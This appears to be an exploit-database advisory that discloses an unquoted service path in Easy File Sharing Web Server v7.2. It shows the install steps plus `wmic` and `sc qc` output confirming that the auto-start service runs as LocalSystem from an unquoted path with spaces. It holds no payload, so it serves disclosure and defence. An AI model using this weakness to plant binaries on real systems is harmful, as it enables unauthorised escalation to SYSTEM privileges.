Exploit Title: Easy File Sharing Web Server v7.2 - 'Easy File Sharing Web Service' Unquoted Service Path Exploit Author: boku Date: 02/10/2020 Vendor Homepage: http://www.sharing-file.com/ Software Link: http://www.sharing-file.com/efssetup.exe Version: 7.2 Tested On: Windows 10 (32-bit) # Recreate: # 1) Download & install Easy File Sharing Web Server v7.2 # 2) Open EFS Web Server and click the 'Service...' Button on the bottom right # 3) Click 'Install Service' Button C:\Users\nightelf>wmic service get name, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """ Easy File Sharing Web Service C:\EFS Software\Easy File Sharing Web Server\fswsService.exe Auto C:\Users\nightelf>sc qc "Easy File Sharing Web Service" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: Easy File Sharing Web Service TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\EFS Software\Easy File Sharing Web Server\fswsService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Easy File Sharing Web Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem